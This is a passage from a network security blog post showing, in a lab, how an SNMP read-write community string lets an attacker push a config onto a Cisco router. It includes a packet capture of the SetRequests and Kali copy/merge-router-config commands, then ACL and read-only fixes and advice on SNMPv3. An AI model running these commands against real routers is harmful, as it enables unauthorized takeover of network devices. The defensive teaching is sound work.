23:40:09.736730 IP 10.11.11.4.51146 > 172.20.27.254.161:  C="zxcvbn" SetRequest(179)  .1.3.6.1.4.1.9.9.96.1.1.1.1.2.3388843=1 .1.3.6.1.4.1.9.9.96.1.1.1.1.3.3388843=4 .1.3.6.1.4.1.9.9.96.1.1.1.1.4.3388843=1 .1.3.6.1.4.1.9.9.96.1.1.1.1.5.3388843=10.11.11.4 .1.3.6.1.4.1.9.9.96.1.1.1.1.6.3388843="pwnd-router.config" .1.3.6.1.4.1.9.9.96.1.1.1.1.14.3388843=4
23:40:17.092099 IP 10.11.11.4.54365 > 172.20.27.254.161:  C="zxcvbn" SetRequest(173)  .1.3.6.1.4.1.9.9.96.1.1.1.1.2.822852=1 .1.3.6.1.4.1.9.9.96.1.1.1.1.3.822852=1 .1.3.6.1.4.1.9.9.96.1.1.1.1.5.822852=10.11.11.4 .1.3.6.1.4.1.9.9.96.1.1.1.1.6.822852="pwnd-router.config" .1.3.6.1.4.1.9.9.96.1.1.1.1.4.822852=4 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.822852=4
23:40:19.094722 IP 10.11.11.4.54365 > 172.20.27.254.161:  C="zxcvbn" SetRequest(173)  .1.3.6.1.4.1.9.9.96.1.1.1.1.2.822852=1 .1.3.6.1.4.1.9.9.96.1.1.1.1.3.822852=1 .1.3.6.1.4.1.9.9.96.1.1.1.1.5.822852=10.11.11.4 .1.3.6.1.4.1.9.9.96.1.1.1.1.6.822852="pwnd-router.config" .1.3.6.1.4.1.9.9.96.1.1.1.1.4.822852=4 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.822852=4
23:40:21.097347 IP 10.11.11.4.54365 > 172.20.27.254.161:  C="zxcvbn" SetRequest(173)  .1.3.6.1.4.1.9.9.96.1.1.1.1.2.822852=1 .1.3.6.1.4.1.9.9.96.1.1.1.1.3.822852=1 .1.3.6.1.4.1.9.9.96.1.1.1.1.5.822852=10.11.11.4 .1.3.6.1.4.1.9.9.96.1.1.1.1.6.822852="pwnd-router.config" .1.3.6.1.4.1.9.9.96.1.1.1.1.4.822852=4 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.822852=4
^C
6 packets captured
6 packets received by filter
0 packets dropped by kernel

To configure the community string ACL, please issue the commands listed below.

awa# conf t
awa#conf t
Enter configuration commands, one per line.  End with CNTL/Z.
awa(config)#access-list 1 permit host 10.11.11.1
awa(config)#snmp-server community zxcvbn RW 1
awa(config)#end
awa#wr
Building configuration...
[OK]

As you can see below, both copy-router-config and merge-router-config displayed an error with the ACL applied.

andrew@kali:~$ copy-router-config.pl 172.20.27.254 10.11.11.4 zxcvbn; merge-router-config.pl 172.20.27.254 10.11.11.4 zxcvbn
andrew@kali:~$ copy-router-config.pl 172.20.27.254 10.11.11.4 zxcvbn; merge-router-config.pl 172.20.27.254 10.11.11.4 zxcvbn
10.11.11.4:pwnd-router.config -> 172.20.27.254:running-config... No response from remote host "172.20.27.254" at /usr/bin/copy-router-config.pl line 34.
10.11.11.4:pwnd-router.config -> 172.20.27.254:running-config... No response from remote host "172.20.27.254" at /usr/bin/merge-router-config.pl line 32.

Prevention

To prevent any chance for this type of attack, change the read-write access mode to read-only mode. There are limited use cases that require read-write access mode. That said, only enable it when it is necessary. Otherwise, stick with the read-only access mode.

awa# conf t
awa#conf t
Enter configuration commands, one per line.  End with CNTL/Z.
awa(config)#access-list 1 permit host 10.11.11.1
awa(config)#snmp-server community zxcvbn ro 1
awa(config)#end
awa#wr
Building configuration...
[OK]

Final thoughts

As already mentioned, network engineers already know how to prevent this type of attack. What stood out to me was that the IT Director pointed this configuration out. I am not aware of the individual’s background, but I was delighted to hear him say that. Though, part of me was dissatisfied because I wanted to see if the red team could exploit the vulnerability.

If a business has a legitimate use case to enable read-write access mode, use SNMPv3. It offers better security than SNMPv2c, but it is still vulnerable to brute force attacks. That said, make sure to use a secure password and ACL.

You might like to read

Attacking HSRP

BUY ME COFFEE ☕

Did you find this content useful? If so, show your appreciation by buying me a coffee!



  • Share on Twitter Share on Twitter
  • Share on Facebook Share on Facebook
  • Share on LinkedIn Share on LinkedIn
  • Share on Reddit Share on Reddit
  • Share via Email Share via Email

Filed Under: Security Tagged With: Cisco, Cybersecurity, Ethical Hacking, Information Security, InfoSec, IOS, Kali Linux, Network Security, Penetration Testing, Pentesting

About Andrew Roderos

I am a network security engineer with a passion for networking and security. Follow me on Twitter, LinkedIn, and Instagram.

Footer

WANT TO REACH ME?

Let’s talk!

CONTACT ME

Copyright © 2019–2023 · Andrew Roderos · All Rights Reserved · Privacy Policy · Terms of Use